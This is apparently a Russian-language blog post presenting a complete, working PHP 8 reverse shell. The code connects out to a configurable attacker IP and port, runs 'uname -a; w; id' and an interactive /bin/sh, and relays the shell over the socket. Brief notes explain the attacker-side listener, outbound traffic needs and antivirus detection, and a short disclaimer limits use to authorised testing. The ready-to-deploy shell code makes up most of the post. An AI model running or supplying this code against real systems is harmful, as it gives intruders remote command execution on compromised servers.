Простой реверс-шелл на PHP8.
Здравствуйте, дорогие друзья.
Реверс-шелл — это тип шелла, который устанавливает соединение обратно к атакующему, позволяя атакующему управлять системой через сеть. Ниже приведен пример кода PHP, который реализует простой реверс-шелл. Однако следует иметь в виду, что использование такого кода без явного разрешения на тестируемой системе считается незаконным и может привести к юридическим последствиям.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
<?php set_time_limit (0); $VERSION = "1.0"; $ip = '127.0.0.1'; // Замените на IP-адрес, куда должен подключаться реверс-шелл $port = 1234; // Замените на порт, который будет слушать удаленный сервер $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // Создание сокета if (($sock = fsockopen($ip, $port, $errno, $errstr)) === false) { echo "Ошибка создания сокета: $errstr ($errno)"; exit(1); } // Выполнение оболочки $descriptorspec = array( 0 => array("pipe", "r"), // stdin - канал, из которого дочерний процесс будет читать 1 => array("pipe", "w"), // stdout - канал, в который дочерний процесс будет записывать 2 => array("pipe", "w") // stderr - файл для записи ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { echo "Ошибка при открытии процесса"; exit(1); } // Установка неблокирующего режима для потока stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); echo "Успешно: подключенный реверс-шелл к $ip:$port\n"; while (1) { // Проверка наличия конца файла на любом из потоков if (feof($sock)) { echo "Сервер прекратил соединение\n"; break; } if (feof($pipes[1])) { echo "Процесс завершился\n"; break; } // Чтение из и запись в сокеты/пайпы $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) echo "Чтение с сокета\n"; $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) echo "Чтение из stdout шелла\n"; $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) echo "Чтение из stderr шелла\n"; $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); } } fclose($sock); foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); ?> |
Обратите внимание на следующие моменты:
- Этот код требует, чтобы на целевой машине был настроен сервер, который слушает указанный IP-адрес и порт (в этом примере 127.0.0.1 и 1234) и ожидает входящих соединений. В реальных условиях атакующий настраивает подобный сервер на своей машине.
- Для работы реверс-шелла необходимо, чтобы на целевой системе был разрешен исходящий трафик на указанный IP-адрес и порт.
- Команда /bin/sh -i в переменной $shell инициирует интерактивный шелл. Вы можете заменить её на другую команду, если необходимо.
- Использование данного кода может быть обнаружено антивирусами и средствами обнаружения вторжений.
Используйте этот код только в легальных целях, для обучения или тестирования собственных систем на проникновение с явным разрешением владельцев системы.
На этом все. Всем хорошего дня!